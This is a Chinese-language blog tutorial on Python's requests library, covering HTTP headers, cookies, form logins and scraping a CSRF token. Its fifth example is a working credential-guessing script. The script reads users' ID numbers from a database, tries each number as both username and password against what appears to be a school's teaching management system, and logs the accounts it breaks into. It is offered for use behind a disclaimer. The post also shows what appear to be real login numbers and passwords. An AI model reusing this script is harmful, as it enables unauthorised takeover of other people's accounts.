python3 requests

本文介绍了Web请求头中常见的字段及其作用,例如Accept、Cookie等,并提供了使用Python的requests库发送带有特定请求头的示例代码。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

web请求头

有很多,不一一列举

Header解释示例
Accept指定客户端能够接收的内容类型Accept: text/plain, text/html
Accept-Charset浏览器可以接受的字符编码集。Accept-Charset: iso-8859-5
Accept-Encoding指定浏览器可以支持的web服务器返回内容压缩编码类型。Accept-Encoding: compress, gzip
Accept-Language浏览器可接受的语言Accept-Language: en,zh
Connection表示是否需要持久连接。(HTTP 1.1默认进行持久连接)Connection: close
CookieHTTP请求发送时,会把保存在该请求域名下的所有cookie值一起发送给web服务器。Cookie: $Version=1; Skin=new;
Content-Type请求的与实体对应的MIME信息Content-Type: application/x-www-form-urlencoded
Host指定请求的服务器的域名和端口号Host: www.baidu.com
Referer先前网页的地址,当前请求网页紧随其后,即来路Referer: https://www.baidu.com/
User-AgentUser-Agent的内容包含发出请求的用户信息User-Agent: Mozilla/5.0 (Linux; X11)

cookie

参数描述
name必需。规定 cookie 的名称。
value必需。规定 cookie 的值。
expire可选。规定 cookie 的有效期。
path可选。规定 cookie 的服务器路径。
domain可选。规定 cookie 的域名。
secure可选。规定是否通过安全的 HTTPS 连接来传输 cookie。
# 这是一个没有csrf的验证的网站
import requests
import json


'''
requests.exceptions.RequestException异常基类 
r.status_code == requests.codes.ok
r.url
r.status_code
r.history
r.text
r.enconding
r.headers

'''
header = {
    # "origin": "https://passport.mafengwo.cn",
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64)'
                  ' AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36',
}
r = requests.post('http://127.0.0.1:8080/login_sure/', data=
     {'user': '1500730142', 'passwd': '123', }, verify=False, headers=header)
r.encoding = 'utf-8'
# r = requests.put('http://httpbin.org/put', data = {'key':'value'})
# r = requests.get("http://httpbin.org/get", params={'key1': '11', 'key2': ['21','22']})#url地址
# r = requests.get("http://httpbin.org/get", timeout=0.001})
# print(r.text, end='')
'''
verify=True  ssl验证默认true
proxies 代理
method -- method for the new Request object.
url -- URL for the new Request object.
params -- (optional) Dictionary or bytes to be sent in the query string for the Request.
data -- (optional) Dictionary or list of tuples [(key, value)] (will be form-encoded), bytes, or file-like object to send in the body of the Request.
json -- (optional) json data to send in the body of the Request.
headers -- (optional) Dictionary of HTTP Headers to send with the Request.
cookies -- (optional) Dict or CookieJar object to send with the Request.
files -- (optional) Dictionary of 'name': file-like-objects (or {'name': file-tuple}) for multipart encoding upload. file-tuple can be a 2-tuple ('filename', fileobj), 3-tuple ('filename', fileobj, 'content_type') or a 4-tuple ('filename', fileobj, 'content_type', custom_headers), where 'content-type' is a string defining the content type of the given file and custom_headers a dict-like object containing additional headers to add for the file.
auth -- (optional) Auth tuple to enable Basic/Digest/Custom HTTP Auth.
timeout (float or tuple) -- (optional) How many seconds to wait for the server to send data before giving up, as a float, or a (connect timeout, read timeout) tuple.
allow_redirects (bool) -- (optional) Boolean. Enable/disable GET/OPTIONS/POST/PUT/PATCH/DELETE/HEAD redirection. Defaults to True.
proxies -- (optional) Dictionary mapping protocol to the URL of the proxy.
verify -- (optional) Either a boolean, in which case it controls whether we verify the server's TLS certificate, or a string, in which case it must be a path to a CA bundle to use. Defaults to True.
stream -- (optional) if False, the response content will be immediately downloaded.
cert -- (optional) if String, path to ssl client cert file (.pem). If Tuple, ('cert', 'key') pair.
'''
print(r.text)

例子2

import requests

conn = requests.session()
# 登录
url = 'https://u.gsdata.cn/member/login'
postdata = {
    'username': '13377309257',
    'password': '12453453'
}
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) '
                  'Chrome/63.0.3239.26 Safari/537.36 Core/1.63.5733.400 QQBrowser/10.2.2019.400'}
rep = conn.post(url, data=postdata, headers=headers)
file=open('test.html', 'w+')
file.write(rep.text)

得到的结果与原结果
在这里插入图片描述
在这里插入图片描述
例子3 绕crfs

import requests
import re
conn = requests.session()

url = 'http://127.0.0.1:8080/login_sure/'
header = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) '
                  'Chrome/48.0.2564.116 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Encoding': 'gzip',
    'Accept-Language': 'zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4'
}
# ==============获取crsf的值===============================
r = conn.get(url, headers=header)
r.encoding = 'utf-8'
reg = r'<input type="hidden" name="csrfmiddlewaretoken" value="(.*)">'
result = re.findall(reg, str(r.text))
token = result[0]
# ===================登录=================================
postdata = {
    'csrfmiddlewaretoken': token,
    'user': '1500730142',
    'passwd': '12453453',
}
rep = conn.post(url=url, data=postdata, headers=header)
rep.encoding = 'utf-8'
file=open('test.html', 'w+')
print(rep.text)
file.write(rep.text)

在这里插入图片描述

例子4

import requests

conn = requests.session()

url = xxx'
header = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) '
                  'Chrome/48.0.2564.116 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Encoding': 'gzip',
    'Accept-Language': 'zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4'
}
# ===================登录=================================
postdata = {
    'username': '1500730142',
    'passwd': 'sadasdcas',
    'login': '登 录'
}
rep = conn.post(url=url, data=postdata, headers=header)
rep.encoding = 'gb18030'
file=open('test.html', 'w+')
print(rep.text)
file.write(rep.text)

在这里插入图片描述
5 弱密码破解(提供参考,造成的后果概不负责)

import requests
import pymysql
import re

url = 'xxx'
header = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) '
                  'Chrome/48.0.2564.116 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Encoding': 'gzip',
    'Accept-Language': 'zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4'
}
file = open('user.txt', 'a+')


# ===================登录=================================
def connectSql():
    db = pymysql.connect("localhost", "zz", "123", "my", charset='utf8')
    cursor = db.cursor()
    cursor.execute("select name,number from userinfo2  where number like '16%'")
    login_info=cursor.fetchall()
    return login_info


def loginWeb():
    login_info = connectSql()
    for items in login_info:
        postdata = {
            'username': items[1],
            'passwd': items[1],
            'login': '登 录'
        }
        conn = requests.session()
        try:
            rep = conn.post(url=url, data=postdata, headers=header, timeout=0.3)
            rep.encoding = 'gb18030'
            reg = r'<title>(教学管理系统)'
            result = re.findall(reg, str(rep.text))
            if result[0]:
                file.write(' %s\t%s\n' % (items[0], items[1]))
                print(' %s\t%s' % (items[0], items[1]))
        except:
            print(items[1])
    print("over")


loginWeb()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值